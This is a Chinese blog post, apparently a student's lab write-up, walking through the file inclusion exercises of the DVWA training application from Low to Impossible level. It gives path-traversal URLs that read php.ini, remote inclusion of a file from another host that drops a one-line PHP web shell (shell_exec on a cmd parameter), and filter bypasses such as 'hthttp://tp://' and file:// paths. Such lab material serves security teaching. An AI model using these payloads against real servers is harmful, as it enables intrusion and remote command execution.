您现在的位置是:首页 > 学无止境 > Web网站首页Web 文件包含漏洞-DVWA

文件包含漏洞-DVWA

  • 莫愁
  • Web
  • 2019-05-30
简介程序人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞
字数 2923

一、进入DVWA测试系统

选择左侧File Inclusion(文件包含)菜单,内容页显示为:

文件包含漏洞-DVWA

解决方法:进入php.ini,将allow_url_include=Off修改为On即可。

文件包含漏洞-DVWA

 

二、实验步骤:

2.1 File Inclusion(Low 级别)

a) 分析文件包含漏洞测试网页

可以看到,文件包含网页上的内容显示:通过点击file1.php或者file2.php或者file3.php文件,然后通过GET请求将选中的文件内容包含并显示出来,显示效果:如点击file.php的效果图

文件包含漏洞-DVWA

进一步分析:

观察文件包含页面的URL :http://www.dvwa.com/vulnerabilities/fi/?page=include.php,将page=include.php 修改为: page=xxx.php,然后访问。

文件包含漏洞-DVWA

从上图可以看出,由于动态GET请求包含了page = xxx.php这样一个不存在的文件,php解释器曝出了PHP文件包含函数include的Warnning信息,并且该信息暴露了文件的绝对路径,因此在下一步中我们将进一步利用该漏洞

b) 构造URL暴露重要信息

i)获取php.ini的信息

输入:http://www.dvwa.com/vulnerabilities/fi/?page=..\..\php.ini

效果图如下:

文件包含漏洞-DVWA

可以看到成功读取了php.ini的重要配置信息,当然你也可以试一试读取其他的文件信息,如请读取系统下robots.txt的内容信息,从这个漏洞上可以看出能够导致重要的敏感信息泄露。请尝试探索其他重要的配置信息。

Robots.txt信息:

文件包含漏洞-DVWA

注意:a)步骤中曝出的路径为:D:\PHP\wamp64\www\website\web\DVWA\vulnerabilities\fi\index.php on line 36

因此可以判断:php.ini配置文件在wwww\website\web\DVWA目录下,而我们知道Web网站一般部署到Apache 服务器的WWW 目录下,因此可以通过从WWW文件夹开始算起:用..\来做跳转,所以构造的路径为:..\..\php.ini,可以认为第一个..\ 表示DVWA \,第二个..\表示fi\

 

ii)访问远程文件

php.ini设置:服务器如在php.ini中将allow_url_fopen与allow_url_include,设置为on 状态即可以使用远程文件,可以是ftp上的文件,也可是网路上其他能访问到的文件。

php.ini设置方法: W 标识 ——> PHP ——>php.ini 通过搜索 allow_url_include变量然后修改其状态,重启W服务器即可。

a)远程包含打印php版本信息的文件

将提前准备好的程序:

<?php  phpinfo();?> 保存在1.tt文件中,并将该文件放到dvwa文件夹下,并测试http://www.dvwa.com/1.tt能够正常读取源代码。(请截图显示)

然后在DVWA系统上,URL输入为:http://www.dvwa.com/vulnerabilities/fi/?page=http://www.dvwa.com/1.tt,看看效果。

文件包含漏洞-DVWA

b)远程写入木马文件

将提前准备好的一句话木马放到WAMP的www文件夹下,检查下是否能够通过URL访问到,http://www.dvwa.com/muma1.php?cmd=dir

文件包含漏洞-DVWA

然后将File Inclusion上的URL重新构造:

http://www.dvwa.com/vulnerabilities/fi/?page=http://www.dvwa.com/muma1.php?cmd=dir

这个测试相当于是将已经上传到该主机服务器上的muma1.php文件和该文件包含漏洞相结合进行的漏洞利用。

思考题:

(1)试想下假如没有木马文件在该服务器下,如何取控制呢?能否包含php程序,而这个程序正好执行的时候为写入一句话木马到服务器上?

答:远程包含php文件

(2)请尝试远程包含读取当前服务器版本信息的文件,并执行看效果?

文件包含漏洞-DVWA

emm,这是我拖了2个文件在老师的服务器上,自己做实验可以拖到虚拟机上。

 

c)通过文件包含向服务器写入一句话木马文件

提前准备好远程的写一句话木马程序:

文件保存为echo.tt,先保证该文件能够正常执行,上述代码的意思是,在当前Web应用的路径下创建文件名为shell.php的文件,文件内容为写入:

<?php echo shell_exec($_GET["cmd"]);?>

现在构造File Inclusion的URL,输入:

http://www.dvwa.com/vulnerabilities/fi/?page=http://100.0.101.61/echo.tt,看看效果

注意:文件后缀一定要是tt,这样才能不在远程机执行而且可以在受害机执行。

文件包含漏洞-DVWA

 

 

2.2 File Inclusion(Medium 级别)

a)测试是否具有文件包含漏洞

URL输入:http://www.dvwa.com/vulnerabilities/fi/?page=xxx.php,请描述看到的情况并截图

文件包含漏洞-DVWA

b)构造URL利用漏洞

i)获取php.ini信息

URL输入:http://www.dvwa.com/vulnerabilities/fi/?page=..\..\php.ini看看效果。

文件包含漏洞-DVWA

其实这里我们为什么成功,是因为源码没判断这个"\"!

ii)远程包含

http://www.dvwa.com/vulnerabilities/fi/?page=http://100.0.101.61/1.tt,看看效果

文件包含漏洞-DVWA

iii)看看源代码(代码审查下)

文件位置:安装目录\vulnerabilities\fi\source\medium.php

文件包含漏洞-DVWA

通过实验以及源代码可以看到地址栏上直接输入../ 和 http 均会直接被replace为空,使得路径出错,致使无法达到绕过。那么如何构造URL绕过replace方法呢?

提示:是否可以使用绝对路径:如包含的本地文件为:D:\wamp\www\DVWA-master\DVWA-master\php.ini;是否可以将包含的远程连接修改为:hthttp://tp://127.0.0.1/…

绝对路径:

文件包含漏洞-DVWA

远程路径:

文件包含漏洞-DVWA

 

2.3 File Inclusion(High 级别)

a)测试是否具有文件包含漏洞

URL输入:http://www.dvwa.com/vulnerabilities/fi/?page=xxx.php,请描述看到的情况并截图

文件包含漏洞-DVWA

从上图结果可以看出,在高级别上是做了文件过滤的,那么我们看看源代码:

文件位置:安装路径\vulnerabilities\fi\source\high.php

文件包含漏洞-DVWA

从代码的判断语句可以看到,包含的文件如果开头不匹配file 和include.php 则会提示file not found

现在好办了,构造URL :http://www.dvwa.com/vulnerabilities/fi/?page=file://D:/PHP/wamp64/www/WEBSITE/web/DVWA/php.ini文件包含漏洞-DVWA

有兴趣的可以完成远程访问的内容(加油!)

 

2.4 File Inclusion(Impossible 级别)

查看源代码:

文件包含漏洞-DVWA

可以看出,在高难度级别上做了包含文件的白名单校验,那么针对这种情况,基本上是保障了文件包含的安全性,很难突破了。

 

 


转载: 感谢您对莫愁个人博客网站平台的认可,非常欢迎各位朋友分享到个人站长或者朋友圈,但转载请说明文章出处“来源莫愁个人博客 https://www.mochoublog.com/study/239.html”。

文章评论

    • 评论
    人参与,条评论

技术在线

服务时间

周一至周日 12:00-22:00

关闭下雪
关闭背景特效